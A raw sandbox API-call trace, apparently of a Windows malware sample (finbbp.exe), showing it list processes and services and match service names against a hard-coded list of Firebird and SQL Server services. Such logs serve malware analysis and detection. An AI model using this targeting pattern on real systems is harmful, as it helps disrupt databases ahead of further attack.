(lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0222.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0222.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0222.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0222.676] lstrlenW (lpString="Schedule") returned 8 [0222.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0222.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0222.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0222.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0222.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0222.676] lstrlenW (lpString="SecurityHealthService") returned 21 [0222.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0222.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0222.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0222.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0222.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0222.676] lstrlenW (lpString="SENS") returned 4 [0222.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0222.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0222.676] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0222.676] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0222.677] lstrlenW (lpString="ShellHWDetection") returned 16 [0222.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0222.677] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0222.677] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0222.677] lstrlenW (lpString="Spooler") returned 7 [0222.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0222.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0222.677] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0222.677] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0222.677] lstrlenW (lpString="StateRepository") returned 15 [0222.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0222.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0222.677] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0222.677] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0222.677] lstrlenW (lpString="SysMain") returned 7 [0222.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0222.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0222.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0222.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0222.677] lstrlenW (lpString="SystemEventsBroker") returned 18 [0222.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0222.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0222.677] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0222.677] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0222.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0222.678] lstrlenW (lpString="Themes") returned 6 [0222.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0222.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0222.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0222.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0222.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0222.678] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0222.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0222.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0222.678] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0222.678] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0222.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0222.678] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0222.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0222.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0222.678] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0222.678] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0222.678] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6d2d38 | out: hHeap=0x670000) returned 1 [0222.678] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x32c [0222.685] Process32FirstW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0222.685] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0222.686] lstrlenW (lpString="System") returned 6 [0222.686] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0222.998] lstrlenW (lpString="smss.exe") returned 8 [0222.998] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.998] lstrlenW (lpString="csrss.exe") returned 9 [0222.998] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0222.999] lstrlenW (lpString="wininit.exe") returned 11 [0222.999] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0222.999] lstrlenW (lpString="csrss.exe") returned 9 [0222.999] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0223.000] lstrlenW (lpString="winlogon.exe") returned 12 [0223.000] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.000] lstrlenW (lpString="services.exe") returned 12 [0223.000] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.001] lstrlenW (lpString="lsass.exe") returned 9 [0223.001] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.001] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.001] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0223.002] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0223.002] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.002] lstrlenW (lpString="svchost.exe") returned 11 [0223.002] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.003] lstrlenW (lpString="svchost.exe") returned 11 [0223.003] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.003] lstrlenW (lpString="dwm.exe") returned 7 [0223.003] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.004] lstrlenW (lpString="svchost.exe") returned 11 [0223.004] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.004] lstrlenW (lpString="svchost.exe") returned 11 [0223.005] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.005] lstrlenW (lpString="svchost.exe") returned 11 [0223.005] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.006] lstrlenW (lpString="svchost.exe") returned 11 [0223.006] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.006] lstrlenW (lpString="svchost.exe") returned 11 [0223.006] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.007] lstrlenW (lpString="svchost.exe") returned 11 [0223.007] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.007] lstrlenW (lpString="svchost.exe") returned 11 [0223.007] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.008] lstrlenW (lpString="svchost.exe") returned 11 [0223.008] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.008] lstrlenW (lpString="svchost.exe") returned 11 [0223.008] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.009] lstrlenW (lpString="svchost.exe") returned 11 [0223.009] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.009] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.009] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.010] lstrlenW (lpString="taskhostw.exe") returned 13 [0223.010] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.010] lstrlenW (lpString="svchost.exe") returned 11 [0223.010] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.011] lstrlenW (lpString="audiodg.exe") returned 11 [0223.011] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0223.011] lstrlenW (lpString="sihost.exe") returned 10 [0223.011] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.012] lstrlenW (lpString="svchost.exe") returned 11 [0223.012] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x77c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1 [0223.012] lstrlenW (lpString="MDMAgent.exe") returned 12 [0223.012] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.013] lstrlenW (lpString="taskhostw.exe") returned 13 [0223.013] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0223.013] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0223.013] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0223.014] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0223.014] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0223.014] lstrlenW (lpString="Memory Compression") returned 18 [0223.014] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.015] lstrlenW (lpString="explorer.exe") returned 12 [0223.015] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.015] lstrlenW (lpString="SearchUI.exe") returned 12 [0223.016] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.016] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0223.016] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.016] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0223.016] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.017] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0223.017] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0223.017] lstrlenW (lpString="finbbp.exe") returned 10 [0223.018] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0223.018] lstrlenW (lpString="cmd.exe") returned 7 [0223.018] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0223.018] lstrlenW (lpString="conhost.exe") returned 11 [0223.019] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0223.019] lstrlenW (lpString="finbbp.exe") returned 10 [0223.019] Process32NextW (in: hSnapshot=0x32c, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 0 [0223.020] CloseHandle (hObject=0x32c) returned 1 [0223.020] Sleep (dwMilliseconds=0x1f4) [0223.624] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6ad480 [0223.624] EnumServicesStatusExW (in: hSCManager=0x6ad480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0223.625] GetLastError () returned 0xea [0223.625] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1b58) returned 0x41211c0 [0223.625] EnumServicesStatusExW (in: hSCManager=0x6ad480, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41211c0, cbBufSize=0x1b58, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41211c0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0223.626] CloseServiceHandle (hSCObject=0x6ad480) returned 1 [0223.626] lstrlenW (lpString="AppXSvc") returned 7 [0223.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0223.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0223.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0223.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0223.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0223.626] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0223.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0223.627] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0223.627] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0223.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0223.627] lstrlenW (lpString="Audiosrv") returned 8 [0223.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0223.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0223.627] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0223.627] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0223.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0223.627] lstrlenW (lpString="BFE") returned 3 [0223.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0223.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0223.627] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0223.627] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0223.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0223.627] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0223.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0223.627] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0223.627] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0223.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0223.627] lstrlenW (lpString="CDPSvc") returned 6 [0223.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0223.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0223.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0223.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0223.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0223.627] lstrlenW (lpString="ClickToRunSvc") returned 13 [0223.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0223.628] 